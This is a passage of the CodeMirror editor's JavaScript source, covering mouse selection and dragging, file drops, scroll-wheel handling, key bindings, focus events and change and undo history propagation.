      coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
    }
    return coords;
  }

  // A mouse down can be a single click, double click, triple click,
  // start of selection drag, start of text drag, new cursor
  // (ctrl-click), rectangle drag (alt-drag), or xwin
  // middle-click-paste. Or it might be a click on something we should
  // not interfere with, such as a scrollbar or widget.
  function onMouseDown(e) {
    var cm = this, display = cm.display;
    if (display.activeTouch && display.input.supportsTouch() || signalDOMEvent(cm, e)) return;
    display.shift = e.shiftKey;

    if (eventInWidget(display, e)) {
      if (!webkit) {
        // Briefly turn off draggability, to allow widgets to do
        // normal dragging things.
        display.scroller.draggable = false;
        setTimeout(function(){display.scroller.draggable = true;}, 100);
      }
      return;
    }
    if (clickInGutter(cm, e)) return;
    var start = posFromMouse(cm, e);
    window.focus();

    switch (e_button(e)) {
    case 1:
      // #3261: make sure, that we're not starting a second selection
      if (cm.state.selectingText)
        cm.state.selectingText(e);
      else if (start)
        leftButtonDown(cm, e, start);
      else if (e_target(e) == display.scroller)
        e_preventDefault(e);
      break;
    case 2:
      if (webkit) cm.state.lastMiddleDown = +new Date;
      if (start) extendSelection(cm.doc, start);
      setTimeout(function() {display.input.focus();}, 20);
      e_preventDefault(e);
      break;
    case 3:
      if (captureRightClick) onContextMenu(cm, e);
      else delayBlurEvent(cm);
      break;
    }
  }

  var lastClick, lastDoubleClick;
  function leftButtonDown(cm, e, start) {
    if (ie) setTimeout(bind(ensureFocus, cm), 0);
    else cm.curOp.focus = activeElt();

    var now = +new Date, type;
    if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) {
      type = "triple";
    } else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) {
      type = "double";
      lastDoubleClick = {time: now, pos: start};
    } else {
      type = "single";
      lastClick = {time: now, pos: start};
    }

    var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey, contained;
    if (cm.options.dragDrop && dragAndDrop && !isReadOnly(cm) &&
        type == "single" && (contained = sel.contains(start)) > -1 &&
        (cmp((contained = sel.ranges[contained]).from(), start) < 0 || start.xRel > 0) &&
        (cmp(contained.to(), start) > 0 || start.xRel < 0))
      leftButtonStartDrag(cm, e, start, modifier);
    else
      leftButtonSelect(cm, e, start, type, modifier);
  }

  // Start a text drag. When it ends, see if any dragging actually
  // happen, and treat as a click if it didn't.
  function leftButtonStartDrag(cm, e, start, modifier) {
    var display = cm.display, startTime = +new Date;
    var dragEnd = operation(cm, function(e2) {
      if (webkit) display.scroller.draggable = false;
      cm.state.draggingText = false;
      off(document, "mouseup", dragEnd);
      off(display.scroller, "drop", dragEnd);
      if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) {
        e_preventDefault(e2);
        if (!modifier && +new Date - 200 < startTime)
          extendSelection(cm.doc, start);
        // Work around unexplainable focus problem in IE9 (#2127) and Chrome (#3081)
        if (webkit || ie && ie_version == 9)
          setTimeout(function() {document.body.focus(); display.input.focus();}, 20);
        else
          display.input.focus();
      }
    });
    // Let the drag handler handle this.
    if (webkit) display.scroller.draggable = true;
    cm.state.draggingText = dragEnd;
    // IE's approach to draggable
    if (display.scroller.dragDrop) display.scroller.dragDrop();
    on(document, "mouseup", dragEnd);
    on(display.scroller, "drop", dragEnd);
  }

  // Normal selection, as opposed to text dragging.
  function leftButtonSelect(cm, e, start, type, addNew) {
    var display = cm.display, doc = cm.doc;
    e_preventDefault(e);

    var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;
    if (addNew && !e.shiftKey) {
      ourIndex = doc.sel.contains(start);
      if (ourIndex > -1)
        ourRange = ranges[ourIndex];
      else
        ourRange = new Range(start, start);
    } else {
      ourRange = doc.sel.primary();
      ourIndex = doc.sel.primIndex;
    }

    if (e.altKey) {
      type = "rect";
      if (!addNew) ourRange = new Range(start, start);
      start = posFromMouse(cm, e, true, true);
      ourIndex = -1;
    } else if (type == "double") {
      var word = cm.findWordAt(start);
      if (cm.display.shift || doc.extend)
        ourRange = extendRange(doc, ourRange, word.anchor, word.head);
      else
        ourRange = word;
    } else if (type == "triple") {
      var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0)));
      if (cm.display.shift || doc.extend)
        ourRange = extendRange(doc, ourRange, line.anchor, line.head);
      else
        ourRange = line;
    } else {
      ourRange = extendRange(doc, ourRange, start);
    }

    if (!addNew) {
      ourIndex = 0;
      setSelection(doc, new Selection([ourRange], 0), sel_mouse);
      startSel = doc.sel;
    } else if (ourIndex == -1) {
      ourIndex = ranges.length;
      setSelection(doc, normalizeSelection(ranges.concat([ourRange]), ourIndex),
                   {scroll: false, origin: "*mouse"});
    } else if (ranges.length > 1 && ranges[ourIndex].empty() && type == "single" && !e.shiftKey) {
      setSelection(doc, normalizeSelection(ranges.slice(0, ourIndex).concat(ranges.slice(ourIndex + 1)), 0),
                   {scroll: false, origin: "*mouse"});
      startSel = doc.sel;
    } else {
      replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
    }

    var lastPos = start;
    function extendTo(pos) {
      if (cmp(lastPos, pos) == 0) return;
      lastPos = pos;

      if (type == "rect") {
        var ranges = [], tabSize = cm.options.tabSize;
        var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);
        var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);
        var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);
        for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));
             line <= end; line++) {
          var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);
          if (left == right)
            ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos)));
          else if (text.length > leftPos)
            ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize))));
        }
        if (!ranges.length) ranges.push(new Range(start, start));
        setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),
                     {origin: "*mouse", scroll: false});
        cm.scrollIntoView(pos);
      } else {
        var oldRange = ourRange;
        var anchor = oldRange.anchor, head = pos;
        if (type != "single") {
          if (type == "double")
            var range = cm.findWordAt(pos);
          else
            var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0)));
          if (cmp(range.anchor, anchor) > 0) {
            head = range.head;
            anchor = minPos(oldRange.from(), range.anchor);
          } else {
            head = range.anchor;
            anchor = maxPos(oldRange.to(), range.head);
          }
        }
        var ranges = startSel.ranges.slice(0);
        ranges[ourIndex] = new Range(clipPos(doc, anchor), head);
        setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse);
      }
    }

    var editorSize = display.wrapper.getBoundingClientRect();
    // Used to ensure timeout re-tries don't fire when another extend
    // happened in the meantime (clearTimeout isn't reliable -- at
    // least on Chrome, the timeouts still happen even when cleared,
    // if the clear happens after their scheduled firing time).
    var counter = 0;

    function extend(e) {
      var curCount = ++counter;
      var cur = posFromMouse(cm, e, true, type == "rect");
      if (!cur) return;
      if (cmp(cur, lastPos) != 0) {
        cm.curOp.focus = activeElt();
        extendTo(cur);
        var visible = visibleLines(display, doc);
        if (cur.line >= visible.to || cur.line < visible.from)
          setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150);
      } else {
        var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;
        if (outside) setTimeout(operation(cm, function() {
          if (counter != curCount) return;
          display.scroller.scrollTop += outside;
          extend(e);
        }), 50);
      }
    }

    function done(e) {
      cm.state.selectingText = false;
      counter = Infinity;
      e_preventDefault(e);
      display.input.focus();
      off(document, "mousemove", move);
      off(document, "mouseup", up);
      doc.history.lastSelOrigin = null;
    }

    var move = operation(cm, function(e) {
      if (!e_button(e)) done(e);
      else extend(e);
    });
    var up = operation(cm, done);
    cm.state.selectingText = up;
    on(document, "mousemove", move);
    on(document, "mouseup", up);
  }

  // Determines whether an event happened in the gutter, and fires the
  // handlers for the corresponding event.
  function gutterEvent(cm, e, type, prevent) {
    try { var mX = e.clientX, mY = e.clientY; }
    catch(e) { return false; }
    if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false;
    if (prevent) e_preventDefault(e);

    var display = cm.display;
    var lineBox = display.lineDiv.getBoundingClientRect();

    if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e);
    mY -= lineBox.top - display.viewOffset;

    for (var i = 0; i < cm.options.gutters.length; ++i) {
      var g = display.gutters.childNodes[i];
      if (g && g.getBoundingClientRect().right >= mX) {
        var line = lineAtHeight(cm.doc, mY);
        var gutter = cm.options.gutters[i];
        signal(cm, type, cm, line, gutter, e);
        return e_defaultPrevented(e);
      }
    }
  }

  function clickInGutter(cm, e) {
    return gutterEvent(cm, e, "gutterClick", true);
  }

  // Kludge to work around strange IE behavior where it'll sometimes
  // re-fire a series of drag-related events right after the drop (#1551)
  var lastDrop = 0;

  function onDrop(e) {
    var cm = this;
    clearDragCursor(cm);
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
      return;
    e_preventDefault(e);
    if (ie) lastDrop = +new Date;
    var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
    if (!pos || isReadOnly(cm)) return;
    // Might be a file drop, in which case we simply extract the text
    // and insert it.
    if (files && files.length && window.FileReader && window.File) {
      var n = files.length, text = Array(n), read = 0;
      var loadFile = function(file, i) {
        if (cm.options.allowDropFileTypes &&
            indexOf(cm.options.allowDropFileTypes, file.type) == -1)
          return;

        var reader = new FileReader;
        reader.onload = operation(cm, function() {
          var content = reader.result;
          if (/[\x00-\x08\x0e-\x1f]{2}/.test(content)) content = "";
          text[i] = content;
          if (++read == n) {
            pos = clipPos(cm.doc, pos);
            var change = {from: pos, to: pos,
                          text: cm.doc.splitLines(text.join(cm.doc.lineSeparator())),
                          origin: "paste"};
            makeChange(cm.doc, change);
            setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));
          }
        });
        reader.readAsText(file);
      };
      for (var i = 0; i < n; ++i) loadFile(files[i], i);
    } else { // Normal drop
      // Don't do a replace if the drop happened inside of the selected text.
      if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {
        cm.state.draggingText(e);
        // Ensure the editor is re-focused
        setTimeout(function() {cm.display.input.focus();}, 20);
        return;
      }
      try {
        var text = e.dataTransfer.getData("Text");
        if (text) {
          if (cm.state.draggingText && !(mac ? e.altKey : e.ctrlKey))
            var selected = cm.listSelections();
          setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
          if (selected) for (var i = 0; i < selected.length; ++i)
            replaceRange(cm.doc, "", selected[i].anchor, selected[i].head, "drag");
          cm.replaceSelection(text, "around", "paste");
          cm.display.input.focus();
        }
      }
      catch(e){}
    }
  }

  function onDragStart(cm, e) {
    if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; }
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return;

    e.dataTransfer.setData("Text", cm.getSelection());

    // Use dummy image instead of default browsers image.
    // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.
    if (e.dataTransfer.setDragImage && !safari) {
      var img = elt("img", null, null, "position: fixed; left: 0; top: 0;");
      img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
      if (presto) {
        img.width = img.height = 1;
        cm.display.wrapper.appendChild(img);
        // Force a relayout, or Opera won't use our image for some obscure reason
        img._top = img.offsetTop;
      }
      e.dataTransfer.setDragImage(img, 0, 0);
      if (presto) img.parentNode.removeChild(img);
    }
  }

  function onDragOver(cm, e) {
    var pos = posFromMouse(cm, e);
    if (!pos) return;
    var frag = document.createDocumentFragment();
    drawSelectionCursor(cm, pos, frag);
    if (!cm.display.dragCursor) {
      cm.display.dragCursor = elt("div", null, "CodeMirror-cursors CodeMirror-dragcursors");
      cm.display.lineSpace.insertBefore(cm.display.dragCursor, cm.display.cursorDiv);
    }
    removeChildrenAndAdd(cm.display.dragCursor, frag);
  }

  function clearDragCursor(cm) {
    if (cm.display.dragCursor) {
      cm.display.lineSpace.removeChild(cm.display.dragCursor);
      cm.display.dragCursor = null;
    }
  }

  // SCROLL EVENTS

  // Sync the scrollable area and scrollbars, ensure the viewport
  // covers the visible area.
  function setScrollTop(cm, val) {
    if (Math.abs(cm.doc.scrollTop - val) < 2) return;
    cm.doc.scrollTop = val;
    if (!gecko) updateDisplaySimple(cm, {top: val});
    if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val;
    cm.display.scrollbars.setScrollTop(val);
    if (gecko) updateDisplaySimple(cm);
    startWorker(cm, 100);
  }
  // Sync scroller and scrollbar, ensure the gutter elements are
  // aligned.
  function setScrollLeft(cm, val, isScroller) {
    if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return;
    val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);
    cm.doc.scrollLeft = val;
    alignHorizontally(cm);
    if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val;
    cm.display.scrollbars.setScrollLeft(val);
  }

  // Since the delta values reported on mouse wheel events are
  // unstandardized between browsers and even browser versions, and
  // generally horribly unpredictable, this code starts by measuring
  // the scroll effect that the first few mouse wheel events have,
  // and, from that, detects the way it can convert deltas to pixel
  // offsets afterwards.
  //
  // The reason we want to know the amount a wheel event will scroll
  // is that it gives us a chance to update the display before the
  // actual scrolling happens, reducing flickering.

  var wheelSamples = 0, wheelPixelsPerUnit = null;
  // Fill in a browser-detected starting value on browsers where we
  // know one. These don't have to be accurate -- the result of them
  // being wrong would just be a slight flicker on the first wheel
  // scroll (if it is large enough).
  if (ie) wheelPixelsPerUnit = -.53;
  else if (gecko) wheelPixelsPerUnit = 15;
  else if (chrome) wheelPixelsPerUnit = -.7;
  else if (safari) wheelPixelsPerUnit = -1/3;

  var wheelEventDelta = function(e) {
    var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
    if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail;
    if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail;
    else if (dy == null) dy = e.wheelDelta;
    return {x: dx, y: dy};
  };
  CodeMirror.wheelEventPixels = function(e) {
    var delta = wheelEventDelta(e);
    delta.x *= wheelPixelsPerUnit;
    delta.y *= wheelPixelsPerUnit;
    return delta;
  };

  function onScrollWheel(cm, e) {
    var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;

    var display = cm.display, scroll = display.scroller;
    // Quit if there's nothing to scroll here
    var canScrollX = scroll.scrollWidth > scroll.clientWidth;
    var canScrollY = scroll.scrollHeight > scroll.clientHeight;
    if (!(dx && canScrollX || dy && canScrollY)) return;

    // Webkit browsers on OS X abort momentum scrolls when the target
    // of the scroll event is removed from the scrollable element.
    // This hack (see related code in patchDisplay) makes sure the
    // element is kept around.
    if (dy && mac && webkit) {
      outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
        for (var i = 0; i < view.length; i++) {
          if (view[i].node == cur) {
            cm.display.currentWheelTarget = cur;
            break outer;
          }
        }
      }
    }

    // On some browsers, horizontal scrolling will cause redraws to
    // happen before the gutter has been realigned, causing it to
    // wriggle around in a most unseemly way. When we have an
    // estimated pixels/delta value, we just handle horizontal
    // scrolling entirely here. It'll be slightly off from native, but
    // better than glitching out.
    if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {
      if (dy && canScrollY)
        setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight)));
      setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth)));
      // Only prevent default scrolling if vertical scrolling is
      // actually possible. Otherwise, it causes vertical scroll
      // jitter on OSX trackpads when deltaX is small and deltaY
      // is large (issue #3579)
      if (!dy || (dy && canScrollY))
        e_preventDefault(e);
      display.wheelStartX = null; // Abort measurement, if in progress
      return;
    }

    // 'Project' the visible viewport to cover the area that is being
    // scrolled into view (if we know enough to estimate it).
    if (dy && wheelPixelsPerUnit != null) {
      var pixels = dy * wheelPixelsPerUnit;
      var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
      if (pixels < 0) top = Math.max(0, top + pixels - 50);
      else bot = Math.min(cm.doc.height, bot + pixels + 50);
      updateDisplaySimple(cm, {top: top, bottom: bot});
    }

    if (wheelSamples < 20) {
      if (display.wheelStartX == null) {
        display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;
        display.wheelDX = dx; display.wheelDY = dy;
        setTimeout(function() {
          if (display.wheelStartX == null) return;
          var movedX = scroll.scrollLeft - display.wheelStartX;
          var movedY = scroll.scrollTop - display.wheelStartY;
          var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
            (movedX && display.wheelDX && movedX / display.wheelDX);
          display.wheelStartX = display.wheelStartY = null;
          if (!sample) return;
          wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);
          ++wheelSamples;
        }, 200);
      } else {
        display.wheelDX += dx; display.wheelDY += dy;
      }
    }
  }

  // KEY EVENTS

  // Run a handler that was bound to a key.
  function doHandleBinding(cm, bound, dropShift) {
    if (typeof bound == "string") {
      bound = commands[bound];
      if (!bound) return false;
    }
    // Ensure previous input has been read, so that the handler sees a
    // consistent view of the document
    cm.display.input.ensurePolled();
    var prevShift = cm.display.shift, done = false;
    try {
      if (isReadOnly(cm)) cm.state.suppressEdits = true;
      if (dropShift) cm.display.shift = false;
      done = bound(cm) != Pass;
    } finally {
      cm.display.shift = prevShift;
      cm.state.suppressEdits = false;
    }
    return done;
  }

  function lookupKeyForEditor(cm, name, handle) {
    for (var i = 0; i < cm.state.keyMaps.length; i++) {
      var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);
      if (result) return result;
    }
    return (cm.options.extraKeys && lookupKey(name, cm.options.extraKeys, handle, cm))
      || lookupKey(name, cm.options.keyMap, handle, cm);
  }

  var stopSeq = new Delayed;
  function dispatchKey(cm, name, e, handle) {
    var seq = cm.state.keySeq;
    if (seq) {
      if (isModifierKey(name)) return "handled";
      stopSeq.set(50, function() {
        if (cm.state.keySeq == seq) {
          cm.state.keySeq = null;
          cm.display.input.reset();
        }
      });
      name = seq + " " + name;
    }
    var result = lookupKeyForEditor(cm, name, handle);

    if (result == "multi")
      cm.state.keySeq = name;
    if (result == "handled")
      signalLater(cm, "keyHandled", cm, name, e);

    if (result == "handled" || result == "multi") {
      e_preventDefault(e);
      restartBlink(cm);
    }

    if (seq && !result && /\'$/.test(name)) {
      e_preventDefault(e);
      return true;
    }
    return !!result;
  }

  // Handle a key from the keydown event.
  function handleKeyBinding(cm, e) {
    var name = keyName(e, true);
    if (!name) return false;

    if (e.shiftKey && !cm.state.keySeq) {
      // First try to resolve full name (including 'Shift-'). Failing
      // that, see if there is a cursor-motion command (starting with
      // 'go') bound to the keyname without 'Shift-'.
      return dispatchKey(cm, "Shift-" + name, e, function(b) {return doHandleBinding(cm, b, true);})
          || dispatchKey(cm, name, e, function(b) {
               if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion)
                 return doHandleBinding(cm, b);
             });
    } else {
      return dispatchKey(cm, name, e, function(b) { return doHandleBinding(cm, b); });
    }
  }

  // Handle a key from the keypress event
  function handleCharBinding(cm, e, ch) {
    return dispatchKey(cm, "'" + ch + "'", e,
                       function(b) { return doHandleBinding(cm, b, true); });
  }

  var lastStoppedKey = null;
  function onKeyDown(e) {
    var cm = this;
    cm.curOp.focus = activeElt();
    if (signalDOMEvent(cm, e)) return;
    // IE does strange things with escape.
    if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false;
    var code = e.keyCode;
    cm.display.shift = code == 16 || e.shiftKey;
    var handled = handleKeyBinding(cm, e);
    if (presto) {
      lastStoppedKey = handled ? code : null;
      // Opera has no cut event... we try to at least catch the key combo
      if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))
        cm.replaceSelection("", null, "cut");
    }

    // Turn mouse into crosshair when Alt is held on Mac.
    if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
      showCrossHair(cm);
  }

  function showCrossHair(cm) {
    var lineDiv = cm.display.lineDiv;
    addClass(lineDiv, "CodeMirror-crosshair");

    function up(e) {
      if (e.keyCode == 18 || !e.altKey) {
        rmClass(lineDiv, "CodeMirror-crosshair");
        off(document, "keyup", up);
        off(document, "mouseover", up);
      }
    }
    on(document, "keyup", up);
    on(document, "mouseover", up);
  }

  function onKeyUp(e) {
    if (e.keyCode == 16) this.doc.sel.shift = false;
    signalDOMEvent(this, e);
  }

  function onKeyPress(e) {
    var cm = this;
    if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return;
    var keyCode = e.keyCode, charCode = e.charCode;
    if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;}
    if ((presto && (!e.which || e.which < 10)) && handleKeyBinding(cm, e)) return;
    var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
    if (handleCharBinding(cm, e, ch)) return;
    cm.display.input.onKeyPress(e);
  }

  // FOCUS/BLUR EVENTS

  function delayBlurEvent(cm) {
    cm.state.delayingBlurEvent = true;
    setTimeout(function() {
      if (cm.state.delayingBlurEvent) {
        cm.state.delayingBlurEvent = false;
        onBlur(cm);
      }
    }, 100);
  }

  function onFocus(cm) {
    if (cm.state.delayingBlurEvent) cm.state.delayingBlurEvent = false;

    if (cm.options.readOnly == "nocursor") return;
    if (!cm.state.focused) {
      signal(cm, "focus", cm);
      cm.state.focused = true;
      addClass(cm.display.wrapper, "CodeMirror-focused");
      // This test prevents this from firing when a context
      // menu is closed (since the input reset would kill the
      // select-all detection hack)
      if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {
        cm.display.input.reset();
        if (webkit) setTimeout(function() { cm.display.input.reset(true); }, 20); // Issue #1730
      }
      cm.display.input.receivedFocus();
    }
    restartBlink(cm);
  }
  function onBlur(cm) {
    if (cm.state.delayingBlurEvent) return;

    if (cm.state.focused) {
      signal(cm, "blur", cm);
      cm.state.focused = false;
      rmClass(cm.display.wrapper, "CodeMirror-focused");
    }
    clearInterval(cm.display.blinker);
    setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150);
  }

  // CONTEXT MENU HANDLING

  // To make the context menu work, we need to briefly unhide the
  // textarea (making it as unobtrusive as possible) to let the
  // right-click take effect on it.
  function onContextMenu(cm, e) {
    if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) return;
    if (signalDOMEvent(cm, e, "contextmenu")) return;
    cm.display.input.onContextMenu(e);
  }

  function contextMenuInGutter(cm, e) {
    if (!hasHandler(cm, "gutterContextMenu")) return false;
    return gutterEvent(cm, e, "gutterContextMenu", false);
  }

  // UPDATING

  // Compute the position of the end of a change (its 'to' property
  // refers to the pre-change end).
  var changeEnd = CodeMirror.changeEnd = function(change) {
    if (!change.text) return change.to;
    return Pos(change.from.line + change.text.length - 1,
               lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0));
  };

  // Adjust a position to refer to the post-change position of the
  // same text, or the end of the change if the change covers it.
  function adjustForChange(pos, change) {
    if (cmp(pos, change.from) < 0) return pos;
    if (cmp(pos, change.to) <= 0) return changeEnd(change);

    var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;
    if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch;
    return Pos(line, ch);
  }

  function computeSelAfterChange(doc, change) {
    var out = [];
    for (var i = 0; i < doc.sel.ranges.length; i++) {
      var range = doc.sel.ranges[i];
      out.push(new Range(adjustForChange(range.anchor, change),
                         adjustForChange(range.head, change)));
    }
    return normalizeSelection(out, doc.sel.primIndex);
  }

  function offsetPos(pos, old, nw) {
    if (pos.line == old.line)
      return Pos(nw.line, pos.ch - old.ch + nw.ch);
    else
      return Pos(nw.line + (pos.line - old.line), pos.ch);
  }

  // Used by replaceSelections to allow moving the selection to the
  // start or around the replaced test. Hint may be "start" or "around".
  function computeReplacedSel(doc, changes, hint) {
    var out = [];
    var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
    for (var i = 0; i < changes.length; i++) {
      var change = changes[i];
      var from = offsetPos(change.from, oldPrev, newPrev);
      var to = offsetPos(changeEnd(change), oldPrev, newPrev);
      oldPrev = change.to;
      newPrev = to;
      if (hint == "around") {
        var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;
        out[i] = new Range(inv ? to : from, inv ? from : to);
      } else {
        out[i] = new Range(from, from);
      }
    }
    return new Selection(out, doc.sel.primIndex);
  }

  // Allow "beforeChange" event handlers to influence a change
  function filterChange(doc, change, update) {
    var obj = {
      canceled: false,
      from: change.from,
      to: change.to,
      text: change.text,
      origin: change.origin,
      cancel: function() { this.canceled = true; }
    };
    if (update) obj.update = function(from, to, text, origin) {
      if (from) this.from = clipPos(doc, from);
      if (to) this.to = clipPos(doc, to);
      if (text) this.text = text;
      if (origin !== undefined) this.origin = origin;
    };
    signal(doc, "beforeChange", doc, obj);
    if (doc.cm) signal(doc.cm, "beforeChange", doc.cm, obj);

    if (obj.canceled) return null;
    return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin};
  }

  // Apply a change to a document, and add it to the document's
  // history, and propagating it to all linked documents.
  function makeChange(doc, change, ignoreReadOnly) {
    if (doc.cm) {
      if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly);
      if (doc.cm.state.suppressEdits) return;
    }

    if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) {
      change = filterChange(doc, change, true);
      if (!change) return;
    }

    // Possibly split or suppress the update based on the presence
    // of read-only spans in its range.
    var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);
    if (split) {
      for (var i = split.length - 1; i >= 0; --i)
        makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text});
    } else {
      makeChangeInner(doc, change);
    }
  }

  function makeChangeInner(doc, change) {
    if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) return;
    var selAfter = computeSelAfterChange(doc, change);
    addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);

    makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));
    var rebased = [];

    linkedDocs(doc, function(doc, sharedHist) {
      if (!sharedHist && indexOf(rebased, doc.history) == -1) {
        rebaseHist(doc.history, change);
        rebased.push(doc.history);
      }
      makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));
    });
  }

  // Revert a change stored in a document's history.
  function makeChangeFromHistory(doc, type, allowSelectionOnly) {
    if (doc.cm && doc.cm.state.suppressEdits) return;

    var hist = doc.history, event, selAfter = doc.sel;
    var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done;

    // Verify that there is a useable event (so that ctrl-z won't
    // needlessly clear selection events)
    for (var i = 0; i < source.length; i++) {
      event = source[i];
      if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)
        break;
    }
    if (i == source.length) return;
    hist.lastOrigin = hist.lastSelOrigin = null;

    for (;;) {
      event = source.pop();
      if (event.ranges) {
        pushSelectionToHistory(event, dest);
        if (allowSelectionOnly && !event.equals(doc.sel)) {
          setSelection(doc, event, {clearRedo: false});
          return;
        }
        selAfter = event;
      }
      else break;
    }

    // Build up a reverse change object to add to the opposite history
    // stack (redo when undoing, and vice versa).
    var antiChanges = [];
    pushSelectionToHistory(selAfter, dest);
    dest.push({changes: antiChanges, generation: hist.generation});
    hist.generation = event.generation || ++hist.maxGeneration;

    var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange");

    for (var i = event.changes.length - 1; i >= 0; --i) {
      var change = event.changes[i];
      change.origin = type;
      if (filter && !filterChange(doc, change, false)) {
        source.length = 0;
        return;
      }

      antiChanges.push(historyChangeFromChange(doc, change));

      var after = i ? computeSelAfterChange(doc, change) : lst(source);
      makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
      if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)});
      var rebased = [];

      // Propagate to the linked documents
      linkedDocs(doc, function(doc, sharedHist) {
        if (!sharedHist && indexOf(rebased, doc.history) == -1) {
          rebaseHist(doc.history, change);
          rebased.push(doc.history);
        }
        makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
      });
    }
  }

  // Sub-views need their line numbers shifted when text is added
  // above or below them in the parent document.
  function shiftDoc(doc, distance) {
    if (distance == 0) return;
    doc.first += distance;
    doc.sel = new Selection(map(doc.sel.ranges, function(range) {
      return new Range(Pos(range.anchor.line + distance, range.anchor.ch),
                       Pos(range.head.line + distance, range.head.ch));
    }), doc.sel.primIndex);
    if (doc.cm) {
      regChange(doc.cm, doc.first, doc.first - distance, distance);
      for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
        regLineChange(doc.cm, l, "gutter");
    }
  }

  // More lower-level change function, handling only a single document
  // (not linked ones).
  function makeChangeSingleDoc(doc, change, selAfter, spans) {
    if (doc.cm && !doc.cm.curOp)
      return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans);

    if (change.to.line < doc.first) {
      shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));
      return;
    }
